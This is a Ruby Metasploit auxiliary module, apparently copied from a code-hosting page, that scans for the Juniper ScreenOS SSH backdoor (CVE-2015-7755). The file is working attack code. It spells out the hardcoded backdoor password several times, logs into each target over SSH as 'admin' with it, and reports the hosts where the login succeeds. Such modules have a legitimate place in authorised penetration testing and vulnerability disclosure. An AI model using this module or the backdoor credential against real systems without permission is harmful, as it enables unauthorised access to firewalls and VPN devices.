84 lines
2.2 KiB
Ruby
84 lines
2.2 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'net/ssh'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Auxiliary::Scanner
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Exploit::Remote::SSH
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Juniper SSH Backdoor Scanner',
|
|
'Description' => %q{
|
|
This module scans for the Juniper SSH backdoor (also valid on Telnet).
|
|
Any username is required, and the password is <<< %s(un='%s') = %u.
|
|
},
|
|
'Author' => [
|
|
'hdm', # Discovery
|
|
'h00die <mike[at]stcyrsecurity.com>' # Module
|
|
],
|
|
'References' => [
|
|
['CVE', '2015-7755'],
|
|
['URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor'],
|
|
['URL', 'https://kb.juniper.net/InfoCenter/index?page=content&id=JSA10713']
|
|
],
|
|
'DisclosureDate' => 'Dec 20 2015',
|
|
'License' => MSF_LICENSE
|
|
))
|
|
|
|
register_options([
|
|
Opt::RPORT(22)
|
|
])
|
|
|
|
register_advanced_options([
|
|
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
|
|
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
|
|
])
|
|
end
|
|
|
|
def run_host(ip)
|
|
factory = ssh_socket_factory
|
|
ssh_opts = {
|
|
port: rport,
|
|
auth_methods: ['password', 'keyboard-interactive'],
|
|
password: %q{<<< %s(un='%s') = %u},
|
|
proxy: factory,
|
|
:non_interactive => true
|
|
}
|
|
|
|
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
|
|
|
begin
|
|
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
|
Net::SSH.start(
|
|
ip,
|
|
'admin',
|
|
ssh_opts
|
|
)
|
|
end
|
|
rescue Net::SSH::Exception => e
|
|
vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
|
|
return
|
|
end
|
|
|
|
if ssh
|
|
print_good("#{ip}:#{rport} - Logged in with backdoor account admin:<<< %s(un='%s') = %u")
|
|
report_vuln(
|
|
:host => ip,
|
|
:name => self.name,
|
|
:refs => self.references,
|
|
:info => ssh.transport.server_version.version
|
|
)
|
|
end
|
|
end
|
|
|
|
def rport
|
|
datastore['RPORT']
|
|
end
|
|
|
|
end
|